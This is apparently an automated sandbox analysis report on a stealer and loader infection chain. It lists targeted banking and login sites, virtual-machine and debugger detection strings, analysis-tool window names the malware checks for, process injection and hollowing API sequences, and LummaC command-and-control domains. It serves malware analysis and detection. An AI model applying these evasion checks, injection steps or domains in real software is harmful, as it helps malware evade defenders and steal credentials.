Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: penis.exe, 00000018.00000002.2884267791.0000000003030000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \qemu-ga.exe
Source: stealc_default2.exe, 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: axplong.exe, axplong.exe, 00000003.00000002.2137659091.00000000008DE000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2072201170.0000000001582000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696428655f
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegAsm.exe, 0000000D.00000002.2745824214.0000000001625000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&22
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696428655f
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: hjhTHr6fWy.exe, 0000000F.00000002.2997443428.0000000006961000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll|
Source: penis.exe, 00000018.00000002.2884267791.0000000003030000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \qemu-ga.exe`,]q
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696428655j
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: xmlphpvlczpl wpl xpacketimport hrefXML:NAMESPACEaid DOCTYPE ELEMENT ENTITY -- <mdb:mork:zAFDR aom saved from url=(-->xmlns=jobwmlRDFnzbsvgkmlgpxCaRxslJDFrssRSStagTAGXMIlmxloclogIMGtmxosmX3DVERCFLRCCncxxbkSCFrtcpseSDOmapnviofcasxdivLogopmlsmilrootpgmlxfdfXFDLBASEtei2xbeljnlpdgmlfeedFEEDinfobeancasevxmlsesxnotesitetasklinkxbrlGAEBXZFXFormqgisSMAIHDMLjsonpsplbodyheadmetadictdocuembedplistTEI.2xliffformsQBXMLTypeseaglehtml5myapptablestyleentrygroupLXFMLwindowdialogSchemaschemacommonCanvaslayoutobjectFFDataReporttaglibARCXMLgnc-v2modulerobloxXDFV:4Xara3DLayoutRDCManattachwidgetreportSchemewebbuyloaderdeviceRDF:RDFweb:RDFoverlayprojectProjectabiwordxdp:xdpsvg:svgCOLLADASOFTPKGfo:rootlm:lmxarchivecollagelibraryHelpTOCpackagesiteMapen-noteFoundryweblinkReportssharingWebPartTestRunpopularsnippetwhpropsQBWCXMLcontentkml:kmlSDOListkDRouteFormSetactionslookupssectionns2:gpxPaletteCatalogProfileTreePadMIFFileKeyFilepayloadPresetsstringsdocumentDocumentNETSCAPEmetalinkresourcenewsItemhtmlplusEnvelopeplandatamoleculelicensesDatabasebindingsWorkbookPlaylistBookFileTimeLinejsp:rootbrowsersfotobookMTSScenemessengercomponentc:contactr:licensex:xmpmetadiscoveryERDiagramWorksheetcrickgridHelpIndexWinampXMLrecoIndexTomTomTocen-exportAnswerSetwinzipjobmuseScorePHONEBOOKm:myListsedmx:EdmxYNABData1workspacePlacemarkMakerFileoor:itemsscriptletcolorBookSignaturexsd:schemadlg:windowFinalDraftVirtualBoxTfrxReportVSTemplateWhiteboardstylesheetBurnWizarddictionaryPCSettingsRedlineXMLBackupMetaxbrli:xbrlFontFamilys:WorkbookFictionBookdia:diagramdefinitionsNmfDocumentSnippetRootSEC:SECMetanet:NetfileCustSectionDieCutLabelPremierDataUserControljsp:includess:Workbookapplicationjsp:useBeancfcomponentparticipantSessionFilejasperReporthelpdocumentxsl:documentxsl:templatePremiereDataSettingsFileCodeSnippetsFileInstancetpmOwnerDataDataTemplateProject_DataTfrReportBSAnote:notepadFieldCatalogUserSettingsgnm:WorkbookLIBRARY_ITEMDocumentDatamso:customUIpicasa2albumrnpddatabasepdfpreflightrn-customizecml:moleculemuveeProjectRelationshipsVisioDocumentxsl:transformD:multistatusKMYMONEY-FILEBackupCatalogfile:ManifestPocketMindMapDiagramLayoutannotationSetLEAPTOFROGANSpublic:attachsoap:EnvelopepersistedQuerymx:ApplicationOverDriveMediaasmv1:assemblyHelpCollectionQvdTableHeaderSCRIBUSUTF8NEWw:wordDocumentPADocumentRootConfigMetadataBorlandProjectDTS:ExecutableMMC_ConsoleFilelibrary:libraryglade-interfacerg:licenseGroupdisco:discoveryAdobeSwatchbookaudacityprojectoffice:documentCoolpixTransfersqueeze_projectwirelessProfileProjectFileInfowsdl:definitionsScrivenerProjectfulfillmentTokenkey:presentationdynamicDiscoverylibrary:librariesClickToDvdProjectDataCladFileStorechat_api_responseMyApplicationDataKeyboardShortcutsDeepBurner_recordXmlTransformationdata.vos.BudgetVOIRIDASCompositionpresentationClipsoor:component-datalibraryDescriptionPowerShellMetadataResourceDictionaryxsf:xDocumentClassoffice:color-tableVisualStudioProjectActiveReportsLayoutwap-provisioningdocAfterEffectsProjectoor:component-sch
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegAsm.exe, 00000009.00000002.2954309590.00000000066E9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.2100263900.0000000000F7E000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2132726768.00000000008DE000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2137659091.00000000008DE000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegAsm.exe, 0000001F.00000002.3197749021.0000000003B30000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegAsm.exe, 0000001F.00000002.3109509336.000000000303C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread information set: HideFromDebugger Jump to behavior
Potentially malicious time measurement code found
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_05400879 Start: 054008A2 End: 054008A8 0_2_05400879
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_054008CF Start: 054008A2 End: 054008A8 0_2_054008CF
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_05400E16 rdtsc 0_2_05400E16
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 9_2_06E441E0 LdrInitializeThunk, 9_2_06E441E0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407B01 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_00407B01
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001BBDF9 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 16_2_001BBDF9
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041914C mov eax, dword ptr fs:[00000030h] 13_2_0041914C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004114A6 mov ecx, dword ptr fs:[00000030h] 13_2_004114A6
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001CA0F2 mov eax, dword ptr fs:[00000030h] 16_2_001CA0F2
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001C638B mov eax, dword ptr fs:[00000030h] 16_2_001C638B
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0024A0F2 mov eax, dword ptr fs:[00000030h] 17_2_0024A0F2
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0024638B mov eax, dword ptr fs:[00000030h] 17_2_0024638B
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0041EFD8 GetProcessHeap, 13_2_0041EFD8
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407B01 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_00407B01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407C63 SetUnhandledExceptionFilter, 13_2_00407C63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407D75 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 13_2_00407D75
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040DD78 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_0040DD78
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001AD048 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 16_2_001AD048
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001C690E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 16_2_001C690E
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001ADA05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 16_2_001ADA05
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0022D048 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 17_2_0022D048
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0024690E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 17_2_0024690E
Source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe Code function: 17_2_0022DA05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 17_2_0022DA05
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: stealc_default2.exe PID: 528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: needmoney.exe PID: 6616, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\stealc_default2[1].exe, type: DROPPED
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Memory allocated: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Code function: 7_2_027A24D9 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread, 7_2_027A24D9
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 800000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
LummaC encrypted strings found
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: reinforcenh.shop
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: stogeneratmns.shop
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: fragnantbui.shop
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: drawzhotdog.shop
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: vozmeatillu.shop
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: offensivedzvju.shop
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ghostreedmnu.shop
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: gutterydhowi.shop
Source: RegAsm.exe, 0000000D.00000002.2744142845.0000000000479000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: lootebarrkeyn.shop
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Section unmapped: C:\Users\user\AppData\Local\Temp\svchost015.exe base address: 400000
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 117D008 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 434000
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 436000
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 4DC000
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 10CF008
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe Memory written: C:\Users\user\AppData\Local\Temp\svchost015.exe base: 41E000
